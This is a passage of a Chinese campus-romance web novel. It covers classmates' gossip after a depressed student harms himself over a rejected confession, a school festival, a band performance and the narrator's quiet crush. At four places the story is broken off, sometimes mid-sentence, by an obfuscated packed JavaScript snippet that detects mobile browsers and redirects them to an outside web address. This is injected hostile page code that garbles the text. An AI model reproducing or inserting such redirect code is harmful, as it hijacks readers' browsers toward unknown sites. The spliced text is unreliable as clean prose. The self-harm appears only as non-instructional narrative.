他死死地压住张子皓的手，不让他继续自残。 相持了十多分钟，张子皓才冷静了下来，像个泄气的气球一样呆坐在座位上。 晚自习下课后，张子皓父母来学校把他接走了。 这个时候班上的同学才开始窃窃私语。 “张子皓怎么回事啊，刚才真的好吓人。” “是啊，给我吓死了，他平时看上去情绪那么稳定，怎么突然开始发疯啊。” “对啊，感觉张子皓挺开朗挺阳光的啊。” “不知道诶，看上去他好像生病了一样。” “其实我听说……他好像表白失败了才这样的。” “表白，他给谁表白啊？” “……” 舒言注意到有同学往他们这边看了过来，准确来说是看向了夏艺。 而此时的夏艺一直趴在桌上，身子蜷缩着，如果仔细观察的话，还会发现她其实在发抖，是极其没有安全感的表现。 陈质叹了口气，出声问：“夏艺，你没事吧。” 可夏艺没回答他，显然是不想搭理任何人。 “那你一个人待一会，我们先走了，你也早点回家。” 舒言和蔡妙妙他们一起离开了教室。 等出了教室，陈质才告诉了她们一些关于张子皓的事情。 陈质神色复杂：“我和他是室友，其实张子皓有很严重的抑郁症。” 蔡妙妙很是诧异：“啊？怎么回事？” 陈质：“他平时在宿舍的时候就经常拿刀子在自己手臂上划，他两只手臂上都是划痕。” “他不让我们告诉老师，说如果我们告诉别人，他就会把自己伤得更重。” “我们当然也很害怕，所以谁也没敢告诉。不过他爸妈是知道这件事情的，好像是他爸妈对他要求特别高，平时对他的关心又不够，他才这样的。” “他上学期就很喜欢夏艺，老是想和夏艺坐在一起，但冉老师不让，但他还是一有机会就来找夏艺，相信你们也看到了的。” “其实他之前已经给夏艺表白过好几次了，每次被拒绝后都会在宿舍疯狂自虐，这次估计也是被拒绝了吧，只是没忍到回宿舍就开始发作了。” 舒言惊讶地瞪大了双眼。 虽然她平时和张子皓接触不多，但是每次和他说话，他都是温和有礼的，没想到他居然一直有严重的心理问题。 陈质眼里也有几分同情，“唉，其实他也挺可怜的。” 蔡妙妙还沉浸在震惊中，她拍拍胸口，“可是他真的好吓人啊，那刚才夏艺一定吓死了吧。” 舒言回头往教室的方向看了看，想了想还是没有回去。 这个时候或许她更需要自己冷静一下，克服一下内心的恐惧。 — 隔天早上，张子皓没来上学。 夏艺还是一直坐在座位上，只是连上课的时候都低着头，也不和任何人说话，显然还是没有恢复过来。 舒言心里很为她担心，但是又不好开口说什么。 可不知道是从哪里传出去的闲言碎语，班上的同学好像都知道了张子皓是因为向夏艺表白被拒才这样的。 午休的时候，好几个同学甚至聚在班上小声议论这件事情，完全没顾及到夏艺也在。 “天哪，原来是这样啊，我就说为什么张子皓突然跟疯了一样。” “夏艺难道不喜欢张子皓吗？我看他们好像经常待在一起。” “对啊对啊，我也经常看到他们在一块做作业，我觉得夏艺应该也对他有好感吧。” “如果有好感的话为什么要拒绝张子皓呢？” “这谁知道呢，可能只是和他玩玩吧，谁知道张子皓自己当了真。” “你们说要是夏艺答应了张子皓，他是不是就不会发疯了。” “有可能，不过我听说张子皓有病，他有抑郁症，在宿舍经常自残，而且听说他给夏艺表白过好几次了，每次被拒绝后就回宿舍用小刀割自己手腕。” “天哪，这也太可怕了，张子皓成绩那么好，平时看着脾气这么温和，原来有心理疾病啊。” “那昨晚如果夏艺愿意站出来安慰他，估计还不至于把自己打那么狠……” “是啊，昨天我看夏艺从头到尾都没吱声，她还是班长呢，这件事确实做的不厚道。” “……” 虽然他们有刻意压低声音，但总归是会听见一些不舒服的字眼，舒言一脸担忧地看向了夏艺，见她一直趴在桌上，也不知道是睡着了还是…… 明明这件事根本不是她的错，但是却有人把矛头指向了她，甚至站在道德的制高点来指责她。 那边的人还在继续谈论，时不时还会发出笑声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15264077|166098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舒言双手握成拳，实在忍无可忍，站起来提醒他们：“你们不要再说了，这件事情和夏艺有什么关系，你们凭什么指责她。” 那几个同学听出来她明显是生气了，自知理亏，这才噤了声。 教室里终于安静了下来，可前排却传来夏艺呜咽的抽泣声。 她似乎哭得很伤心，脑袋埋在手臂上，肩膀一抽一抽的。 舒言犹豫了几秒，还是选择坐到了蔡妙妙的位置上，温柔地拍了拍她的背。 “呜呜呜……舒言。” 伴随着一声嘶哑的声音，夏艺倏地扑进了舒言怀里，眼泪很快把她左肩的衣服洇湿。 舒言搂住她，轻轻安抚她颤抖的背脊，“没事的，夏艺，都会好起来的。” 夏艺抱着她哭了很久，等停下来的时候，眼睛都快肿成核桃了，脸上全是泪水。 舒言用纸给她擦了擦，“好啦，别哭了，再哭下去你的眼睛都受不了了。” 看着她这副模样，舒言心里很难受，“夏艺，要不下午你请假回去休息一下？” 夏艺却是摇摇头，她吸了吸鼻子，说：“没事，我哭过就好了，谢谢你。” “你能陪我出去走走吗，我想和你说说话。” 舒言莞尔：“当然可以。” 她主动牵起夏艺的手，“我们去一班旁边的那个天台吧。” 夏艺感激一笑，“好。” 到了天台后，舒言看她一直闷闷不乐的样子，便对她说：“夏艺，我给你讲个笑话吧。” 夏艺有些意外地看向她：“什么笑话？” 舒言想了想，说：“你知道数学书为什么总是很难过吗？” 夏艺：“不知道。” 舒言嘴角上扬，“因为它有太多的问题啦。” 说完一脸期待地看着她，“怎么样，是不是挺好笑的。” 在她的注视下，夏艺勉强地笑了下。 “嗯，是挺有意思的。” 舒言见她情绪稳定了一些，又继续说：“其实人也是一样的，问题太多了，想得太多了，也会变得不快乐的。” “夏艺，这件事你没有任何错，我希望你不要因为别人的话感到自责。” 夏艺叹了口气，眺望着远方，慢慢和她吐露心声，“其实我也没想到……” “我一直都知道他喜欢我，可是我只是拿他当同学，我经常和他一起做作业只是因为我觉得他挺聪明的，我喜欢和他一起讨论问题。” “之前他和我表白过，我都拒绝了，甚至还躲过他一段时间，可是他一直来找我。” “我就和他说，我们只能当普通同学，他也答应了。谁知道昨天晚上他突然又叫我出去，我真的很害怕，但班上有这么多同学看着我还是出去了。” “结果刚出去他先是问我要考什么大学，我说我想考南大，而他说他想考交大，还非要我和他一起考交大，我不同意，他就很生气，然后又说喜欢我，我马上拒绝了他，后面他很凶的让我进教室。” “可是谁知道……昨天晚上我是真的被吓到了，可是我不敢出来阻止他……舒言，我……” 夏艺无助地看向她，“我是不是挺懦弱的，就像他们说的那样，如果我昨晚站出来，说不定他……” “夏艺。”舒言双手扶住她的肩膀，定定地看着她，语气认真：“这件事你没有错，昨天晚上的事情谁都无法预料，况且在那样的情况下，如果你站出来，很可能也会受伤。” “你别害怕，这这种情况下，你能够保护好自己已经很棒了。” 夏艺听得又是忍不住鼻子一酸，“谢谢你，舒言，真的，谢谢你。” 舒言握住她的手，给予她力量，“没关系的，都会好起来的。” 夏艺点了点头，“好，我们回去休息吧。” 舒言：“好。” 下午上课前，陈质和蔡妙妙先后回了教室。 见夏艺心情终于好了一些，他们顿时松了口气。 蔡妙妙放了个盼盼小面包在她桌上，“夏艺，这个面包可好吃了，给你吃。” 陈质也从抽屉里掏出来一块巧克力递给她，“这个巧克力也好吃。” 夏艺转过身冲他们笑了笑，“谢谢，那我就都收下了哦。” 蔡妙妙：“嗯嗯，你快尝尝，很好吃的。” 夏艺：“嗯嗯，好。” 在忙碌的学习中，这件事很快就被大家抛在了脑后。 张子皓后面也一直没再来学校。 32. 第32章 临近十一月，南港中学一年一次的学生节如期而至。 学生节是南中建校以来的传统，也是南中的一大特色，并且每年的学生节南港电视台都会来拍摄报道。 学生节共有三天，在这三天时间里，高一高二年级不上课，而是组织各类学生活动，比如田径运动会，学习汇演，演讲比赛，跳蚤市场，社团活动…… 社团活动安排在学生节的第一天，活动地点和社团招新那天一样，还是安排在行政楼这边。 每个社团准备的活动都不一样，有卖奶茶咖啡的，有体验书法国画的，还有免费教街舞的…… 校报社这次准备的活动有两个，一个是赠书活动，他们可以免费给同学赠书，但是需要用一件他们认为有意义的东西来互换，还有一个活动是拍照，每张照片收费15元，等照片洗出来后再通知他们过来取。 活动开始后，大家都很热情，涌上来一堆人。 舒言负责用相机给他们拍照。 她举起相机，耐心给前来拍照的同学指导动作，“好，学妹，你往左边再靠一点。” “来，再笑一下。” “这个背景很不错，你们很上镜。” “ok，你们的照片拍好了。” “……” 按下快门的瞬间，伴随着咔嚓声，眼前的画面被完整地记录了下来。 出现在舒言镜头下的，或是明媚、可爱的少女，或是张扬、肆意的少年，镜头定格下了他们美好又独一无二的青春。 又结束一次拍摄后，一道轻快的女声蓦然在她身后响起。 “舒言！” 舒言回过头一看，就看见梁潇雨朝着她飞奔而来，然后猛地将她抱住。 她还没来得及做出反应，头顶上方又响起了那道清越又带点慵懒的声音。 “梁潇雨，你慢点。” 舒言的心脏瞬间被牵引住。 谢玙清瘦挺拔的身影就这样毫无征兆地出现在她面前。 最近天气转冷，他穿了件灰色的连帽兜衫，搭了条黑色工装裤，衬得他整个人身形格外好看，尤其显腿长。 听见他的声音，梁潇雨回过头朝他做了个鬼脸，“你不是说不来吗，怎么还是跟上来了？” 谢玙手抄在兜里，视线有意无意地往舒言身上瞥，“我过来随便看看。” 梁潇雨咧嘴笑：“哦哦，那不管了，反正来都来了，你今天必须和我一起拍张照片。” 说完又拉住舒言的手臂撒娇，“好舒言，帮我和阿玙拍张合照好不好？” “我和阿玙从小一起长大，还没有一起拍过照片呢。” 给他们拍合照吗…… 舒言飞快眨了下眼睛，看向谢玙，和他确认，“要拍吗？” 还不等谢玙回答，梁潇雨就迫不及地说：“要拍的要拍的。” “阿玙，你答应了我哥要好好照顾我的，你可不能反悔，你就陪我拍一下好吗？” “好不好嘛，阿玙，求求你了。” 梁潇雨一脸恳求地看向他，看上去可怜巴巴的。 谢玙叹了口气，还是妥协了，“行，不过说好了就一张。” 梁潇雨立马喜笑颜开，“嗯嗯，一张就好。” “我们站到那边拍，背景要好看一些。” 说完梁潇雨就提着裙摆往教学楼阶梯下面那棵高大的栾树跑去。 学生节期间可以不穿校服，应该是为了拍照好看，她特意穿了件蓝色的裙子，裙摆下面缝了圈精致的流苏，跑起来的时候特别好看。 舒言和谢玙并排跟在后面，周围的一切好像都静音了，只有脚下不小心踩到干枯树叶时发出的声音。 “你……” “你……” 没想到两人竟然同时开了口。 舒言抿了抿唇，温声道：“你先说吧。” “好。” 谢玙余光压向她，他抬手抓了下把头发，又有些无措地收回。 “你明天有时间吗？” 舒言抓着相机的手无意识地紧了紧，“明天……明天应该是有的。” 身侧这人却像没听清一样，突然喊了声她的名字，“舒言。” “嗯？”她不明所以地偏过头看他，径直撞上他那双深邃的桃花眼，心跳骤然慢了一拍。 心想他怎么能这么犯规。 每次都把她的名字叫得这么好听。 谢玙轻咳了一声，看向她的眼里隐隐含了丝期待，试探着问：“那你明天能来看我的表演吗？” 明天开始有学生的文艺汇演，学校还专门在艺术楼前的空地搭了个舞台。 其实她早就猜到他有节目的，而她原本也是准备去看的。 “当然可以啊。” 舒言杏眼弯成好看的形状，嘴角也不自觉上扬。 他的每一次演出，她都不想错过。 如果她没记错的话，这还是他第一次主动自己去看演出。 “好，明天上午9点，我等你过来。” 谢玙眸光柔和，像是也被她的情渲染了。 舒言郑重其事地点点头。 “其实我刚才也是想问你有没有表演呢。” 闻言，谢玙勾了勾唇，嗓音说不出的愉悦：“那看来我们是心有灵犀了。” “你们快过来啊。”梁潇雨站在栾树下朝他们招手。 “来了。” 舒言赶紧应了一句。 “我们快过去吧。” “好。” 等他们刚过去，梁潇雨就等不及似的招呼着谢玙一起站在栾树下。 这个季节的栾树漂亮极了，在初秋的暖阳照射下，迸发出丝毫不输给夏天的热情，就像史铁生笔下写的那样:一半开在夏天，一半开在秋天。 “来，看镜头。” 舒言将相机举在眼前，熟练地将他们的身影框进屏幕里。 镜头里的梁潇雨雪肌粉腮，对着镜头开心地比了个耶，而她旁边的谢玙虽然脸上没有什么表情，但整个画面还是洋溢着一股淡淡的幸福感。 按下快门的那一秒，舒言垂下眼睫，掩去眼底不易察觉的一丝羡慕。 是啊，她怎么会不羡慕呢。 他们从小一起长大，又是彼此的队友，他们可以正大光明地一起站在镜头下，可以随心所欲地聊天，可以一起为彼此的梦想努力奋斗，甚至可以旁若无人地对彼此撒娇…… 而她很多时候只能充当一个旁观者，见证他们每个精彩幸福的时刻。 “拍好啦？让我看看。”梁潇雨扔下谢玙往她这边跑了过来。 舒言把相机递给她，眼神却下意识地看向了其他地方。 她承认自己好像没法再对自己这么残忍了。 在很多时候，舒言都在想如果自己和他是同班同学就好了，那她就可以看见他认真上课的样子，可以借着收作业的时候和他说上几句话，可以在毕业的时候如愿收获一张和他的合照…… 只可惜他们的教室隔着三层楼的距离，一个在最左边，一个在最右边。 舒言曾经试过一次，从她的教室跑到他的教室再假装经过，足足需要一分二十一秒。 短短几十秒的距离，但繁重的学业让她几乎很难在学校见到他一面。 “哇，拍的真好看，舒言你把阿玙拍的真好看。” 梁潇雨微笑着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15272259|166098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把相机拿过去给谢玙看，可他只是漫不经心在屏幕地扫了眼，评价道：“嗯，是挺好看的。” 梁潇雨眨巴着睫毛，看看舒言，又看看谢玙，说：“这样吧，阿玙，你帮我给舒言也拍一张，然后我待会也帮你们拍一张，行不行。” 舒言：“……” 嘴唇微张，却仿佛失声了一样，只能听见耳边嗡嗡嗡的声音。 还没反应过来，舒言就被梁潇雨拉到了树下站着。 见她表情身体有些僵硬，梁潇雨捏了捏她的脸，“笑一笑，好吗？” 舒言这才回过神来，“哦哦，好。” 说完努力朝镜头露出个笑容。 照片很快就拍好了。 梁潇雨接过相机一看，还算是满意，“阿玙，你这拍照技术还不错嘛，幸好没找什么死亡角度。” “不过舒言你的表情怎么有点呆呆的，好可爱啊。” “哈哈哈，不管了，待会我给你们俩拍的时候记得都给我笑，听见没有。” 梁潇雨故意对他们做了个很凶的表情，倒是成功把舒言逗笑了。 梁潇雨催促着他们赶紧站过去，甚至还在用力背后推了他们一把。 结果舒言一个重心不稳直接往谢玙肩膀上狠狠撞了一下，发出一声闷哼。 梁潇雨赶紧过来，害怕得不行，“啊，舒言你没事吧，我不是故意的。” 谢玙扶着她站稳，又低下头小心查看她的脸，声音明显有些紧张：“怎么样，疼不疼？” 舒言揉了揉额头被撞的地方，抬起头先是看向梁潇雨，“我没事的，潇雨。” 又望向了谢玙，说：“还好，不是很疼。” 谢玙又不放心地仔细瞧了瞧，见额头除了有点红以外，肉眼看上去确实没什么大问题，这才放下心来。 他眼神扫向梁潇雨，沉着声提醒她：“以后不要这么做了。” 梁潇雨闷闷地点点头，“我知道啦。” “我先给你们拍照吧。” 舒言这才跟着谢玙走到树下站好。 梁潇雨原本都准备要开拍了，结果一看两人就跟不认识一样，隔得老远，中间起码还能再站下两个人。 她立马叉着腰指挥，“舒言你往左边走两步，阿玙你往右边走两步。” 舒言很听话地往左迈了两步。 谢玙也往左走了两步。 调整以后，两个人之间的距离这才看起来像是认识的人。 梁潇雨这才满意地点了点头，重新举起了相机。 余光里是他挺直宽阔的肩膀，可舒言此刻却有一直不真实的感觉。 她真的要拥有一张和他的合照了。 一张只有他们两个人的照片。 “看镜头。” 耳畔却忽然响起他带着轻笑的声音。 舒言屏住呼吸，朝梁潇雨的方向看了过去。 远方是一望无际的晴空蓝，点缀着几朵棉花似的云，近在咫尺的是他身上干净冷冽的少年气息。 舒言对着镜头嘴角轻轻上扬。 镜头定格的刹那，一片粉色的树叶悄然落在她的肩上，见证着她避无可避的心动。 “哇，你们俩真的好上镜。em……很势均力敌的长相。” 梁潇雨拿着相机递给他们，很大方地让他们欣赏自己的作品。 “啊啊啊，舒言你笑起来真好看啊，你怎么能长得这么好看。” “哎呀，你们俩看上去还挺般配的哈。” 舒言眼睛眨也不眨地看着屏幕里他们唯一的合照，又情不自禁地看向谢玙俊逸的侧脸。 在某个瞬间，他会不会也会觉得他们有那么一点般配。 33. 第33章 学生节第二天，也就是谢玙演出的当天，天空飘了点淅淅沥沥的小雨。 不过却丝毫没有影响大家的热情，舞台前面的空地全部挤满了人。 舒言和蔡妙妙来得还算早，勉强占据了比较靠前的位置。 蔡妙妙努力踮起脚，“天哪，人怎么这么多啊，这就是男明星吗？” “不过篮球7号怎么还没上台啊。” “演出到底什么时候才开始啊。” 站在旁边的几个女生也在往舞台的方向看，嘴里嘟囔着：“谢玙是在后面吗，什么时候出来啊。” “就是，专门来看他的，他咋还不出来呢。” “今天怎么下雨了啊，是要给他们的表演增加点难度吗？” “我还以为下雨了没什么人呢，没想到……” “这还是我第一次这么近距离的听谢玙唱歌呢，上次的五一汇演隔得太远了，人长啥样都没看清楚。” “反正长得很帅就对了，有一次他从我身边经过，那个侧脸真的绝了，而且感觉身上还香香的。” “香香的，你这个形容，哈哈，你凑上去闻过？” “哎呀，讨厌，反正他不像我们班那些臭烘烘的男生……” “……” 万众瞩目下，站在舞台旁的两位主持人走上了舞台。 他们先是给台下的老师还有同学问好，然后又念了一大段串词，这才来到了重点。 “下面有请由咱们学校高二高三年级的学生组成的春天里乐队，大家将给我们带来一首原创歌曲《春天里》，大家掌声欢迎！” 话音刚落，台下立马响起雷鸣般的掌声，伴随着大家难以克制的欢呼声。 很快，工作人员帮忙把乐器搬到了舞台中央。 在大家万分期待的时候，谢玙抱着吉他从舞台左侧上了台，紧随其后的是他的三位队友。 他们出现的那一刻，台下的状况一发不可控制。 尖叫声响彻云端。 “啊啊啊啊啊啊啊啊……” “终于出现了，真的好帅啊。” “他们乐队的颜值可真高啊，就没有丑的。” “可是我还是觉得谢玙最帅了……” “哈哈哈哈，我也觉得……” “天哪，他们是自己写的歌吗，好厉害呀。” “谢玙谢玙谢玙谢玙……” “快别说话了，马上开始了……” “……” 演出正式开始前，台上的几个少年默契地对视了一眼。下一秒，一段好听的旋律从他们的指尖徐徐流出，声声悦耳，扣人心弦。 舞台上的他们好似天生就有抓人眼球的能力，让台下的观众很快就自发地安静下来，个个屏气凝神，生怕错过每一个精彩的瞬间。 十几秒前奏后，谢玙低缓磁性的声音从音响里传了出来，近似耳边温柔缠绵的情话，穿透力却极强，牵引着大家的思绪瞬间穿越回了草长莺飞的春天。 生命力。 他的歌声让人情不自禁联想到这个词语。 顽强的，坚韧的，不屈的，蓬勃向上的。 如同树上的枝桠在阳光和春雨的洗礼下疯狂生长。 雨不知道什么时候已经停了，也没人再去关注这场雨。 台上的几个少年俨然成了最耀眼夺目的存在，没有人不为他们表演呐喊欢呼，不为他们的表演所触动。 一曲结束，台下热情的欢呼声却依旧震耳欲聋，大家不停地叫出他们乐队的名字，高喊成为他们最忠实的拥护者，还有几个人从人群里挤出去为他们献上了一束鲜花。 “春天里——春天里——” “啊啊啊啊啊，春天里——我爱你们——” “谢玙——谢玙——” “春天里——你们真的太棒了——” “啊啊啊啊，谢玙——请原地出道好吗——” “谢玙——谢玙——我们爱你——” “……” 学生们嘶哑的吼叫声给台下坐着的老师们都震住了，反应过来后微笑着和南港电视台的记者介绍了起来。 看到他们完美地结束了这场演出，并且收获了这么多人的喜欢。 舒言由衷的为他们感到高兴。 她遥遥望着被人群环绕着的谢玙，唇边浅浅漾起笑容。 我爱的少年，祝你梦想成真。 在下一个节目开始前，舒言和蔡妙妙一起离开了现场。 …… 本以为他们演出结束后还会有事情要忙，没想到当天中午舒言就在去报亭的路上碰到了谢玙和何昭。 她在原地征了几秒，正好和他们打了个照面。 看见她的时候，谢玙的脸上很快浮现点笑意。 他注意到不远处的报亭，“是要去买书？” 舒言点了点头。 相较于谢玙一贯的冷淡，此刻的何昭整个人说不出来的意气风发，眼神十分雀跃，他迫不及待地问：“舒言同学，你今天来看我们的演出了吗？” 舒言微笑着说：“当然了，你们真的很棒。” “而且没想到霄云哥也来了。” 按理说高三的学生是不参加学校组织的学生活动的。 何昭脸上露出个骄傲的表情，“嘿嘿，谢谢啦，霄云专门请假来的，这也算是我们乐队的第一次正式亮相，他当然舍不得缺席。今天表演结束后我们还一起接受了南港电视台的采访呢。” 舒言也听说了这件事情，“那岂不是可以在电视里看到你们了，恭喜你们啊。” 何昭笑得牙花子都出来了，他一把搭上谢玙的肩膀，“还得是我们几个配合默契。” 谢玙唇角也扯出点笑。 空气短暂的安静了几秒。 谢玙垂眸看她，突然问了句：“要一起吗，我也打算去买本书。” 舒言有点意外，但还是说：“好啊。” 何昭摸了摸脑袋，有点转不过弯来，“阿玙，我们不是来小卖部买水的吗，怎么……” 买书去了。 谢玙从口袋里拿出张钱递给他，直接堵住了他后半句话，“你看着买吧，待会直接教室见就行。” 何昭不情不愿地接了过来，“行吧，你早点回来啊。” “我走了啊，舒言同学，再见。” 舒言：“嗯，再见。” 何昭往反方向走了以后，谢玙手抄在兜里朝她示意，“走吧，买书去。” 舒言说了声好。 身侧这人像是故意走得很慢，舒言只能配合着他的步子。 没走几步，就听见头顶传来他的声音，“今天我看到你了。” 舒言脚下的步子顿了下。 “只可惜没听见你的声音。”他像是有些遗憾地说。 听见她的声音…… 舒言想没想地脱口而出：“喜欢你们的人太多了，我没法抢到前面的位置。” 是啊。 喜欢你的人实在太多了。 我只能渐渐淹没在人群里，为你摇旗呐喊，哪怕你再也不能听见。 可听见她这句话以后，谢玙却是直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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舒言没有报项目，但是蔡妙妙报了一个2000米。 比赛前，舒言跟着她一起来检录。 蔡妙妙脱下校服外套递给舒言，“言言，帮我拿一下，我再热一下身。” 舒言：“好。” 很快比赛就要开始了。 舒言对着跑道上的蔡妙妙做了个加油的手势，蔡妙妙回赠她一个爱心。 一声令下后，跑道上的参赛选手犹如一支飞镖嗖的一下就冲了出去。 跑道周围是此起彼伏的加油声。 舒言的视线一直跟随着蔡妙妙的身影，每次她从自己身边经过的时候，都为她打油打气。 比赛前中段时间，蔡妙妙一直保持在小组的前三，但最后一圈的时候，明显有些体力不支，几乎落到了队伍的最后。 舒言心跳得飞快，担心她的身体状况，一直在心里给她默默加油。 像是有心灵感应一样，在最后两百米的时候，蔡妙妙猛地提速，拖着疲惫的身体冲过了终点线，身子却再也支撑不住的开始往下坠。 就在舒言差点惊呼出声的时候，旁边的一个男生反应很快地将蔡妙妙搂进了怀里。 34. 第34章 舒言赶紧跑了过去，从那个男生怀里接过了蔡妙妙。 “妙妙，你还好吗？”她半跪在地上，神色焦急地低头问她。 等了一会儿，怀里的蔡妙妙才虚弱地睁开了眼睛，“我没事，言言，只是有点累了。” 她强撑着看向刚才接住自己的那个男生，说了句谢谢。 舒言这才看向了那个男生。 感受到她的视线，男生也看了过来，他长着一双狭长的丹凤眼，眉峰锐利，眼神漆黑，眼窝很深，看人的时候很有压迫感。 舒言眉心微拧，觉得好像在哪里见过他，可又怎么都想不起来。 男生见蔡妙妙没事，便说：“不用谢，我先走了。” 说完便站起来离开了。 班上的同学过来一起把蔡妙妙从地方扶了起来，回到了他们班的大本营。 夏艺走过来夸她，“妙妙，你可真棒，得了小组第三呢。” 蔡妙妙一听激动得都要哭了，“呜呜呜，不枉我最后拼了老命的往前面冲。” “好啦，先喝点水吧。”舒言拧开一瓶矿泉水递给她。 蔡妙妙接过咕噜咕噜地喝了起来，等喝够了才说：“还好刚才有个好心人接住了我。” “对了。”她猛地拍了下大腿，“我都忘了问人家叫什么名字，是哪个班的了。” 旁边有同学笑道：“哈哈哈，怎么了，要来个救命之恩以身相许吗？” 蔡妙妙被她说的脸有点红，“哪有啊，我就是想好好感谢一下人家而已。” 又有同学接了句：“是是是，不过那个男生长得还挺帅的，不知道是哪个班的，没听说过。” 舒言在旁边听着没说话。 蔡妙妙扭过头问她：“言言，你认识那个男生吗？” 舒言摇摇头。 但说句实话，她总觉得那个男生看人的眼神让她觉得不太舒服。 蔡妙妙努了下嘴巴，语气有些遗憾，“那好吧，那看来是不能好好感谢他了。” 舒言安慰她：“学校也就这么大，说不定哪天就又在哪里碰上了呢。” 蔡妙妙点头，脸上又重新燃起希望，“你说的也是，如果下次碰到他，我一定跟他好好道谢。” 舒言笑着说好。 …… 学生节一晃而过，但是学生节期间发生的事情却迎来了后续。 起因是南港电视台将谢玙他们在学生节表演的节目还有表演后接受的采访的视频发到了网上，没想到一下就在网上火了。 之后他们的个人信息被人发到了网上，还有人上传了很多他们各个角度的视频和照片，其中以谢玙的最多。 他们的视频还有照片在微博、贴吧、论坛传的到处都是，现在随便打开一个论坛，都有讨论他们的帖子。 不过几天的时间，全国上下很多人都知道了南港中学有个叫谢玙的男生。 他个子很高，长相清冷干净，会唱歌还会写歌，还有自己的乐队，在网上吸引了很多颜粉还有歌迷。 还有一些新闻媒体专门跑到学校来采访他们，不过据说都被学校拦了下来。 甚至学校里还流传起一种说法，说是有经纪公司想要签下他们，但也有人说是其实只想签谢玙，一时之间众说纷纭。 学生节后，舒言每天都辗转于竞赛班和自己班上，顶着巨大的压力，也压根没有时间去求证这些。 时间终于来到竞赛的前一周。 物理课前的大课间，蔡妙妙突然提出要和许茉一起去物理办公室抱作业，还非要拉着舒言一起。 舒言虽然有几分疑惑，但迫于她的催促，还是跟着一起去了。 就连许茉也忍不住打趣她：“妙妙，今天太阳是打西边出来了，你居然愿意主动去物理办公室了。” 舒言也笑她：“是啊，你不是说物理是跳蚤，你主动靠近就会浑身痒痒吗？” 听见她们的话，蔡妙妙眼神有点不自在，脸上红扑扑的，“哎呀，你们就不要笑我啦，今时不同往日，我保证以后一定洗心革面，重新做人，这物理办公室我去定了。” “许茉，以后每天的物理作业我都帮你抱。” 许茉做了个大吃一惊的表情，“哇。” 蔡妙妙直接上去挠她痒痒。 嬉戏打闹间，舒言注意到她们马上就要到17班教室门口了。 想到可能会看到谢玙，顿时有些期待起来，连带着心情也变得好了。 旁边的许茉还有蔡妙妙不知道什么时候也安静了下来。 蔡妙妙往17班教室门口望去，不知道为什么突然冒出句：“他们班教室大门还挺好看的。” 许茉：“？” “什么玩意？我怎么有些听不懂。” 舒言也愣了几秒。 路过他们班教室前门的时候，舒言飞快地往里面瞄了一眼，又有些失望地收回了目光。 他好像并不在。 也不知道待会回来的时候能不能碰到他。 不过—— 舒言敏锐地注意到蔡妙妙也在往17班里面看，而且像是在找什么人。 舒言和许茉不约而同地对视了一眼。 许茉拍了下蔡妙妙的肩膀，故意凑近她的耳朵，“妙妙，你在找谁呢？” “别闹，我在找——” 意识到什么，蔡妙妙及时噤了声。 许茉打趣她：“找什么啊，是在找人吧。” 蔡妙妙像是被猜中了心思，有些不好意思地说：“哎呀，许茉，你就别问了。” 说完扔下她们，一个人往办公室的方向跑了。 舒言和许茉笑着跟了上去。 从物理办公室抱着作业回来以后，舒言一直在留意17班的周围，可都没有发现谢玙的身影。 正当她打算跟着许茉她们一起回教室的时候，视线不经意间往楼下一瞥，却注意到一个熟悉的身影。 舒言赶紧叫住了许茉和蔡妙妙，随口捏了个借口，“那个我突然想去小卖部买瓶水喝。” 许茉愣了下，说：“好，那你把练习册给我和妙妙抱回去吧。” 舒言感激一笑，“谢了。” 旋即把练习册各分了一半给她们。 蔡妙妙不知道为什么表情有点闷闷的，不过还是提醒她动作快点，待会上课不要迟到了。 舒言低声说好。 她深吸了一口气，开始往楼下走，打算和他们来个“偶遇。” 结果还没走两步，就迎面和他们撞上。 何昭有些惊喜地喊她：“舒言同学？” 舒言动作慢半拍的和他们挥了下手，“嗨，好巧。” 谢玙似乎也有些意外，他挑了下眉，问：“你这是……” 舒言主动接过他的话说了下去，“我刚和同学下来抱作业，原本打算去小卖部瓶水的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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舒言知道自己肯定猜对了，一瞬不瞬盯着他说：“因为你早就把唱歌当成了你们四个人的梦想，而不是你一个人的。” “所以你不会抛下他们，独自去完成自己的梦想，我说的对吗？” 少女笑眼弯弯，坚定又信任的模样被谢玙尽收眼底。 印象中她总是喜欢这样看着自己。 他唇角不自觉上扬，“你说的对，我不会放弃我们的梦想。” 是年少时就伴随着他们的共同的梦想。 不是他一个人的梦想。 舒言跟着他笑了起来，“我觉得你做的很对，世界这么大，总会有属于你们四个人的舞台。” 她相信肯定会有那么一天的到来。 